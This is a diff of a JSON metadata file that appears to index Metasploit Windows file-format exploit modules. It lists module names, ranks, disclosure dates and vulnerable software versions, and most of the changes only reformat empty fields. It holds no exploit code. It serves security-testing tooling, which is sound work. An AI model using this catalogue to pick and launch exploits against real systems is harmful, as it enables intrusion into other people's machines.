"exploit/windows/fileformat/documalis_pdf_editor_and_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-05-22", "type": "exploit", @@ -154874,18 +137727,12 @@ "metacom27 " ], "description": "Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not\n appropriately validate the contents of JPEG images contained within a PDF. Attackers can exploit\n this vulnerability to trigger a buffer overflow on the stack and gain remote code execution as the\n user running the Documalis Free PDF Editor or Documalis Free PDF Scanner software.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10", "Documalis Free PDF Scanner v.5.7.2.122 / Win 7, Win 10" @@ -154914,9 +137761,7 @@ "exploit_windows/fileformat/dupscout_xml": { "name": "Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow", "fullname": "exploit/windows/fileformat/dupscout_xml", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-29", "type": "exploit", @@ -154930,12 +137775,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -154946,17 +137787,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/dvdx_plf_bof": { "name": "DVD X Player 5.5 .plf PlayList Buffer Overflow", "fullname": "exploit/windows/fileformat/dvdx_plf_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-06-02", "type": "exploit", @@ -154976,12 +137814,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "DVD X Player 5.5 Standard / Pro" ], @@ -154992,17 +137826,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/easycdda_pls_bof": { "name": "Easy CD-DA Recorder PLS Buffer Overflow", "fullname": "exploit/windows/fileformat/easycdda_pls_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-06-07", "type": "exploit", @@ -155022,12 +137853,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Windows 7 SP1 (DEP Bypass)" ], @@ -155038,17 +137865,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/emc_appextender_keyworks": { "name": "EMC ApplicationXtender (KeyWorks) ActiveX Control Buffer Overflow", "fullname": "exploit/windows/fileformat/emc_appextender_keyworks", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-09-29", "type": "exploit", @@ -155064,12 +137888,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -155080,17 +137900,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/erdas_er_viewer_bof": { "name": "ERS Viewer 2011 ERS File Handling Buffer Overflow", "fullname": "exploit/windows/fileformat/erdas_er_viewer_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-04-23", "type": "exploit", @@ -155108,12 +137925,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ERS Viewer 2011 (v11.04) / Windows XP SP3 / Windows 7 SP1" ], @@ -155124,17 +137937,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/erdas_er_viewer_rf_report_error": { "name": "ERS Viewer 2013 ERS File Handling Buffer Overflow", "fullname": "exploit/windows/fileformat/erdas_er_viewer_rf_report_error", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-23", "type": "exploit", @@ -155151,12 +137961,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR", "ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass" @@ -155168,17 +137974,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/esignal_styletemplate_bof": { "name": "eSignal and eSignal Pro File Parsing Buffer Overflow in QUO", "fullname": "exploit/windows/fileformat/esignal_styletemplate_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-09-06", "type": "exploit", @@ -155198,12 +138001,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Win XP SP3 / Windows Vista / Windows 7" ], @@ -155214,17 +138013,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/etrust_pestscan": { "name": "CA eTrust PestPatrol ActiveX Control Buffer Overflow", "fullname": "exploit/windows/fileformat/etrust_pestscan", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-11-02", "type": "exploit", @@ -155239,12 +138035,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -155255,17 +138047,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ezip_wizard_bof": { "name": "eZip Wizard 3.0 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/ezip_wizard_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-03-09", "type": "exploit", @@ -155286,12 +138075,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -155302,17 +138087,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/fatplayer_wav": { "name": "Fat Player Media Player 0.6b0 Buffer Overflow", "fullname": "exploit/windows/fileformat/fatplayer_wav", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-18", "type": "exploit", @@ -155329,12 +138111,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -155345,17 +138123,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/fdm_torrent": { "name": "Free Download Manager Torrent Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/fdm_torrent", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-02-02", "type": "exploit", @@ -155376,12 +138151,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Free Download Manager 3.0 (Build 844)" ], @@ -155392,17 +138163,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/feeddemon_opml": { "name": "FeedDemon Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/feeddemon_opml", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-02-09", "type": "exploit", @@ -155423,12 +138191,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -155439,17 +138203,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/foxit_reader_filewrite": { "name": "Foxit PDF Reader 4.2 Javascript File Write", "fullname": "exploit/windows/fileformat/foxit_reader_filewrite", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-05", "type": "exploit", @@ -155465,12 +138226,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Foxit PDF Reader v4.2 (Windows XP SP0-SP3)", @@ -155483,17 +138240,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/foxit_reader_launch": { "name": "Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow", "fullname": "exploit/windows/fileformat/foxit_reader_launch", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-03-09", "type": "exploit", @@ -155511,12 +138265,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Foxit Reader 3.0 Windows XP SP2" ], @@ -155527,17 +138277,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/foxit_reader_uaf": { "name": "Foxit PDF Reader Pointer Overwrite UAF", "fullname": "exploit/windows/fileformat/foxit_reader_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-04-20", "type": "exploit", @@ -155559,12 +138306,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 Pro x64 Build 17134" ], @@ -155575,17 +138318,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/foxit_title_bof": { "name": "Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/foxit_title_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-13", "type": "exploit", @@ -155604,12 +138344,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Foxit Reader v4.1.1 XP Universal" ], @@ -155620,17 +138356,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/free_mp3_ripper_wav": { "name": "Free MP3 CD Ripper 1.1 WAV File Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/free_mp3_ripper_wav", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-08-27", "type": "exploit", @@ -155650,12 +138383,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 EN" ], @@ -155666,17 +138395,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/galan_fileformat_bof": { "name": "gAlan 0.2.1 Buffer Overflow", "fullname": "exploit/windows/fileformat/galan_fileformat_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-12-07", "type": "exploit", @@ -155692,12 +138418,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Universal" ], @@ -155708,17 +138430,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/greenshot_deserialize_cve_2023_34634": { "name": "Greenshot .NET Deserialization Fileformat Exploit", "fullname": "exploit/windows/fileformat/greenshot_deserialize_cve_2023_34634", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-26", "type": "exploit", @@ -155734,12 +138453,8 @@ "platform": "Windows", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -155768,9 +138483,7 @@ "exploit_windows/fileformat/gsm_sim": { "name": "GSM SIM Editor 5.15 Buffer Overflow", "fullname": "exploit/windows/fileformat/gsm_sim", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-07", "type": "exploit", @@ -155788,12 +138501,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], @@ -155804,17 +138513,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/gta_samp": { "name": "GTA SA-MP server.cfg Buffer Overflow", "fullname": "exploit/windows/fileformat/gta_samp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-09-18", "type": "exploit", @@ -155829,12 +138535,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "GTA SA-MP (samp-server) v0.3.1.1" ], @@ -155845,17 +138547,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/hhw_hhp_compiledfile_bof": { "name": "HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow", "fullname": "exploit/windows/fileformat/hhw_hhp_compiledfile_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-02-06", "type": "exploit", @@ -155873,12 +138572,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP English SP3" ], @@ -155889,17 +138584,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/hhw_hhp_contentfile_bof": { "name": "HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow", "fullname": "exploit/windows/fileformat/hhw_hhp_contentfile_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-02-06", "type": "exploit", @@ -155917,12 +138609,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP English SP3" ], @@ -155933,17 +138621,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/hhw_hhp_indexfile_bof": { "name": "HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow", "fullname": "exploit/windows/fileformat/hhw_hhp_indexfile_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-01-17", "type": "exploit", @@ -155963,12 +138648,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP English SP3" ], @@ -155979,17 +138660,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/homm3_h3m": { "name": "Heroes of Might and Magic III .h3m Map file Buffer Overflow", "fullname": "exploit/windows/fileformat/homm3_h3m", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-07-29", "type": "exploit", @@ -156004,12 +138682,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "H3 Complete 4.0.0.0 [Heroes3.exe 78956DFAB3EB8DDF29F6A84CF7AD01EE]", "HD Mod 3.808 build 9 [Heroes3 HD.exe 56614D31CC6F077C2D511E6AF5619280]", @@ -156022,17 +138696,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ht_mp3player_ht3_bof": { "name": "HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/ht_mp3player_ht3_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-06-29", "type": "exploit", @@ -156051,12 +138722,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HT-MP3Player 1.0" ], @@ -156067,17 +138734,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ibm_forms_viewer_fontname": { "name": "IBM Forms Viewer Unicode Buffer Overflow", "fullname": "exploit/windows/fileformat/ibm_forms_viewer_fontname", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-05", "type": "exploit", @@ -156095,12 +138759,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Forms Viewer 4.0 / Windows XP SP3 / Windows 7 SP1" ], @@ -156111,17 +138771,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ibm_pcm_ws": { "name": "IBM Personal Communications iSeries Access WorkStation 5.9 Profile", "fullname": "exploit/windows/fileformat/ibm_pcm_ws", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-02-28", "type": "exploit", @@ -156137,12 +138794,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM WorkStation 5.9 (Windows XP SP3)", "IBM WorkStation 5.9 (Windows 7, Windows Vista)" @@ -156154,17 +138807,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/icofx_bof": { "name": "IcoFX Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/icofx_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-10", "type": "exploit", @@ -156183,12 +138833,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IcoFX 2.5 / Windows 7 SP1" ], @@ -156199,17 +138845,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ideal_migration_ipj": { "name": "PointDev IDEAL Migration Buffer Overflow", "fullname": "exploit/windows/fileformat/ideal_migration_ipj", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-05", "type": "exploit", @@ -156230,12 +138873,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IDEAL Migration <= 4.5.1 on Windows XP", "IDEAL Administration <= 10.5 on Windows XP" @@ -156247,17 +138886,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/iftp_schedule_bof": { "name": "i-FTP Schedule Buffer Overflow", "fullname": "exploit/windows/fileformat/iftp_schedule_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-06", "type": "exploit", @@ -156273,12 +138909,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], @@ -156289,17 +138921,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/irfanview_jpeg2000_bof": { "name": "Irfanview JPEG2000 jp2 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/irfanview_jpeg2000_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-16", "type": "exploit", @@ -156318,12 +138947,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Irfanview 4.32 / Plugins 4.32 / Windows Universal" ], @@ -156334,17 +138959,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ispvm_xcf_ispxcf": { "name": "Lattice Semiconductor ispVM System XCF File Handling Overflow", "fullname": "exploit/windows/fileformat/ispvm_xcf_ispxcf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-16", "type": "exploit", @@ -156361,12 +138983,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ispVM System 18.0.2 / Windows XP SP3 / Windows 7 SP1" ], @@ -156377,17 +138995,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/kingview_kingmess_kvl": { "name": "KingView Log File Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/kingview_kingmess_kvl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-20", "type": "exploit", @@ -156406,12 +139021,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3" ], @@ -156422,17 +139033,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/lattice_pac_bof": { "name": "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow", "fullname": "exploit/windows/fileformat/lattice_pac_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-16", "type": "exploit", @@ -156452,12 +139060,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "PAC-Designer 6.21 on Windows XP SP3" ], @@ -156468,17 +139072,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/lotusnotes_lzh": { "name": "Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)", "fullname": "exploit/windows/fileformat/lotusnotes_lzh", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-05-24", "type": "exploit", @@ -156497,12 +139098,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal", "Lotus Notes 8.5.2 FP2 / Windows Universal / DEP" @@ -156514,17 +139111,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/magix_musikmaker_16_mmm": { "name": "Magix Musik Maker 16 .mmm Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/magix_musikmaker_16_mmm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-26", "type": "exploit", @@ -156540,12 +139134,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal DEP & ASLR Bypass" ], @@ -156556,17 +139146,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mcafee_hercules_deletesnapshot": { "name": "McAfee Remediation Client ActiveX Control Buffer Overflow", "fullname": "exploit/windows/fileformat/mcafee_hercules_deletesnapshot", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2008-08-04", "type": "exploit", @@ -156581,12 +139168,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -156597,17 +139180,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mcafee_showreport_exec": { "name": "McAfee SaaS MyCioScan ShowReport Remote Command Execution", "fullname": "exploit/windows/fileformat/mcafee_showreport_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-12", "type": "exploit", @@ -156624,12 +139204,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Internet Explorer" ], @@ -156640,17 +139216,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mediacoder_m3u": { "name": "MediaCoder .M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/mediacoder_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-24", "type": "exploit", @@ -156668,12 +139241,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0" ], @@ -156684,17 +139253,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/mediajukebox": { "name": "Media Jukebox 8.0.400 Buffer Overflow (SEH)", "fullname": "exploit/windows/fileformat/mediajukebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-07-01", "type": "exploit", @@ -156710,12 +139276,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 - English", "Windows XP SP2 - English" @@ -156727,17 +139289,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/microp_mppl": { "name": "MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/microp_mppl", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-08-23", "type": "exploit", @@ -156753,12 +139312,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Vista / 7" ], @@ -156769,17 +139324,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/microsoft_windows_contact": { "name": "Microsoft Windows Contact File Format Arbitary Code Execution", "fullname": "exploit/windows/fileformat/microsoft_windows_contact", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-01-17", "type": "exploit", @@ -156796,12 +139348,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -156812,17 +139360,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, 